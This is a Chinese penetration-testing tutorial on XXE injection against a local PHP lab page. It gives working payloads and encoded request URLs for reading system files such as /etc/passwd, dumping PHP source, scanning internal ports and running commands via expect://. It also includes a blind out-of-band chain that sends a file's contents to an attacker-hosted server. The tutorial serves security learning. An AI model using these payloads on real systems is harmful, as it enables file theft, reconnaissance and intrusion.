95.网络安全渗透测试—[常规漏洞挖掘与利用篇11]—[XXE(XML外部实体)注入漏洞与测试]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、XXE注入
1、相关概念
(1)XXE定义:
XXE Injection即XML External Entity Injection,也就是XML外部实体注入漏洞,该漏洞是在对非安全的外部实体数据进⾏处理时引发的安全问题。
(2)漏洞版本:
libxml的版本<libxml2.9的时候不支持外部实体,也就不存在XML外部实体注入漏洞。
(3)相关概念:
- 在程序用的比较多就是内部实体
<!ENTITY 实体名称 "实体的值">
<?xml version="1.0" encoding="ISO-8859-1"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>
- 外部实体可支持http、file等协议 不同程序支持的协议也不同。
<!ENTITY 实体名称 SYSTEM "URI/URL">
<?php
$string_xml = '<?xml version="1.0" encoding="utf-8"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>xml实体注入</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml);
echo '<meta charset="UTF-8">';
print_r($data);
?>
<?php
$xml = $_GET['xml'];
$data = @simplexml_load_string($xml);
?>
2、漏洞示例:有回显的XXE注入
(1)靶机环境:本地的phpstudy-php5.4.5
//注意:5.2.17不能成功演示
(2)漏洞页面源码:xxe01.php
(3)查看libxml版本:2.7.8<2.9
(4)任意读取文件:file://伪协议
payload-linux:<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]><c>&b;</c>
//注意:payload需要url编码后才可使用
payload-windows:<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">]><c>&b;</c>
//注意:payload需要url编码后才可使用
示例-1:http://www.exploit.cool/exp/xxe/xxe01.php?xml=%3C%3F%78%6D%6C%20%76%65%72%73%69%6F%6E%3D%22%31%2E%30%22%3F%3E%3C%21%44%4F%43%54%59%50%45%20%20%61%20%20%5B%3C%21%45%4E%54%49%54%59%20%62%20%53%59%53%54%45%4D%20%22%66%69%6C%65%3A%2F%2F%2F%43%3A%2F%57%69%6E%64%6F%77%73%2F%77%69%6E%2E%69%6E%69%22%3E%5D%3E%3C%63%3E%26%62%3B%3C%2F%63%3E
如下图所示,成功读取了c:/windows/win.ini文件内容:
(5)利用伪协议读取文件:php的filter伪协议
payload-3:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe01.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
//注意:payload需要url编码后才可使用
示例-2:http://www.exploit.cool/exp/xxe/xxe01.php?xml=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%75%74%66%2d%38%22%3f%3e%20%0a%3c%21%44%4f%43%54%59%50%45%20%78%64%73%65%63%20%5b%0a%3c%21%45%4c%45%4d%45%4e%54%20%6d%65%74%68%6f%64%6e%61%6d%65%20%41%4e%59%20%3e%0a%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%78%78%65%30%31%2e%70%68%70%22%20%3e%5d%3e%0a%3c%6d%65%74%68%6f%64%63%61%6c%6c%3e%0a%3c%6d%65%74%68%6f%64%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%6d%65%74%68%6f%64%6e%61%6d%65%3e%0a%3c%2f%6d%65%74%68%6f%64%63%61%6c%6c%3e
如下图所示,成功读取了xee01.php页面源码的base64编码:
得到的base64源码解码后:
(5)扫描端口:单线程
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://192.168.97.130:80">
]>
<abc>&test;</abc>
//注意:payload需要url编码后才可使用
示例-3:http://www.exploit.cool/exp/xxe/xxe01.php?xml=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%3c%21%45%4e%54%49%54%59%20%74%65%73%74%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%39%37%2e%31%33%30%3a%38%30%22%3e%0a%5d%3e%0a%3c%61%62%63%3e%26%74%65%73%74%3b%3c%2f%61%62%63%3e
如下图所示,成功扫描到了192.168.97.130:80服务:
(6)执行命令:except://伪协议
except://伪协议封装协议默认未开启,为了使用 expect:// 封装器,你必须安装 » PECL 上的 » Expect 扩展。
payload-4:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "expect://whoami">
]>
<abc>&test;</abc>
//注意:payload需要url编码后才可使用
示例-4:http://www.exploit.cool/exp/xxe/xxe01.php?xml=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%3c%21%45%4e%54%49%54%59%20%74%65%73%74%20%53%59%53%54%45%4d%20%22%65%78%70%65%63%74%3a%2f%2f%77%68%6f%61%6d%69%22%3e%0a%5d%3e%0a%3c%61%62%63%3e%26%74%65%73%74%3b%3c%2f%61%62%63%3e
3、漏洞示例:无回显的XXE注入
//无回显的XXE注入称为 blind xxe
,此时可以使用外带数据通道提取数据
(1)靶机环境:本地的phpstudy-php5.4.5
(2)漏洞页面源码:xxe01.php
(3)查看libxml版本:2.7.8<2.9
(4)任意读取文件:blind xee
【首先:攻击者远程WEB服务器上的提前准备:】
evil.xml 文件内容:读取xee blind发来的文件内容并且通过file参数传递给result.php
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.exploit.cool/exp/xxe/result.php?file=%file;'>">
result.php文件内容:读取evil.xml发来的file参数值并且写入到result.txt文件内
<?php file_put_contents("result.txt", $_GET['file']);?>
【其次:攻击者提交的payload:】
payload-5:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/flag.txt">
<!ENTITY % remote SYSTEM "http://www.exploit.cool/exp/xxe/evil.xml">
%remote;
%all;
]>
<root>&send;</root>
//注意:上面的<!ENTITY % file SYSTEM "file:///C:/flag.txt">该条语句是在读取文件内容,同时其内的内容需要符合一定条件才出结果
//注意:上面的http://www.exploit/cool/exp/xxe/evil.xml该条语句模拟的是攻击者的远程服务器的文件
//注意:payload需要url编码后才可使用
示例-5:http://www.exploit.cool/exp/xxe/xxe02.php?xml=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%5b%0a%3c%21%45%4e%54%49%54%59%20%25%20%66%69%6c%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%43%3a%2f%66%6c%61%67%2e%74%78%74%22%3e%0a%3c%21%45%4e%54%49%54%59%20%25%20%72%65%6d%6f%74%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%77%77%77%2e%65%78%70%6c%6f%69%74%2e%63%6f%6f%6c%2f%65%78%70%2f%78%78%65%2f%65%76%69%6c%2e%78%6d%6c%22%3e%0a%25%72%65%6d%6f%74%65%3b%0a%25%61%6c%6c%3b%0a%5d%3e%0a%3c%72%6f%6f%74%3e%26%73%65%6e%64%3b%3c%2f%72%6f%6f%74%3e
【注意:经过多次测试,发现我们读取的内容,不能出现一些特殊字符,否则不会出现结果!!!】
相关文章
- Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截
- 【新手篇】搭建DCN漏洞靶机及简单的SQL手工注入
- PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)
- 预警即预防:6大常见数据库安全漏洞
- Samba远程代码执行漏洞(CVE-2017-7494)分析
- 如何使用加密的Payload来识别并利用SQL注入漏洞
- Python与Java曝漏洞,黑客利用FTP注入攻击可绕过防火墙
- Wordpress内容注入漏洞致超67000个网站遭黑产利用
- 彻底干掉恶心的 SQL 注入漏洞, 一网打尽!
- Adobe Flash再曝严重漏洞 专家建议卸载
- 微擎系统BUG漏洞解决方法汇总(原创)
- Codeigniter 利用加密Key(密钥)的对象注入漏洞
- MySQL 0Day漏洞出现 该漏洞可以拿到本地Root权限 绿盟科技发布防护方案
- Zabbix SQL注入漏洞技术分析与防护方案
- 白帽子发现美军网站SQL注入漏洞,可获取敏感数据
- 爆库记录(X-Forwarded-For注入漏洞实战 记录)
- 趋势杀毒曝远程执行漏洞 可盗取用户所有密码
- 苹果XARA漏洞 90%官方APP可泄露敏感信息
- 利用脚本注入漏洞攻击ReactJS应用程序
- htcap:一款实用的递归型Web漏洞扫描工具
- 6.File Inclusion(High)——小白笔记——文件包含漏洞
- 文件包含漏洞详解
- 全国中职网络安全B模块之国赛题远程代码执行渗透测试 //PHPstudy的后门漏洞分析
- [ 漏洞挖掘基础篇四 ] 漏洞挖掘之 SQL 注入挖掘
- [ 漏洞复现篇 ] Apache Spark 命令注入(CVE-2022-33891)